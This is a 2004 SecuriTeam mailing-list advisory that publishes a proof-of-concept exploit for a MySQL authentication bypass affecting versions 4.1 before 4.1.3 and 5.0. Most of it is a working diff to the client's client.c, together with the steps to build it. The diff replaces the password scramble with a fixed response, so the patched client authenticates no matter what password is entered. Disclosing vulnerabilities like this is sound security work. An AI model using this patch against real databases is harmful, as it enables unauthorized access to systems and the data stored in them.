Date: 11 Jul 2004 11:58:11 +0200
From: SecuriTeam <support@securiteam.com>
To: list@securiteam.com
Subject: [EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
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MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
------------------------------------------------------------------------
SUMMARY
An issue with the authentication mechanism in MySQL has been reported in
our previous article
<http://www.securiteam.com/unixfocus/5BP0420DFQ.html>; MySQL Authentication
Scheme Bypass. A proof of concept patch for the MySQL client program is
provided below which would cause the MySQL client to authenticate
automatically.
DETAILS
Vulnerable Systems:
* MySQL version 4.1 up to but not including 4.1.3
* MySQL version 5.0
Immune Systems:
* MySQL version 4.1.3
The diff patch can only be used against the latest alpha version (5.0.0)
of MySQL. In order to use it, follow the following steps:
* Download and unpack the MySQL 5.0.0-alpha source
* Patch the sql-common/client.c file:
sql-common/ $ patch client.c mysql.authentication.bypass_client.c.diff
* Configure and Make as usual
The resultant MySQL client binary can then be used normally but with one
exception: The user can completely disregard the password and in fact can
enter any password and it would not matter. The provided diff patch:
1941,1956c1941,1942
< if (passwd[0])
< {
< if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)
< {
< *end++= SCRAMBLE_LENGTH;
< scramble(end, mysql->scramble, passwd);
< end+= SCRAMBLE_LENGTH;
< }
< else
< {
< scramble_323(end, mysql->scramble, passwd);
< end+= SCRAMBLE_LENGTH_323 + 1;
< }
< }
< else
< *end++= '\0'; /* empty password */
---
> sprintf(end,"\x14\x00");
> end+=2;
ADDITIONAL INFORMATION
The information has been provided by
<mailto:bambam@pineapple.shacknet.nu> bambam.
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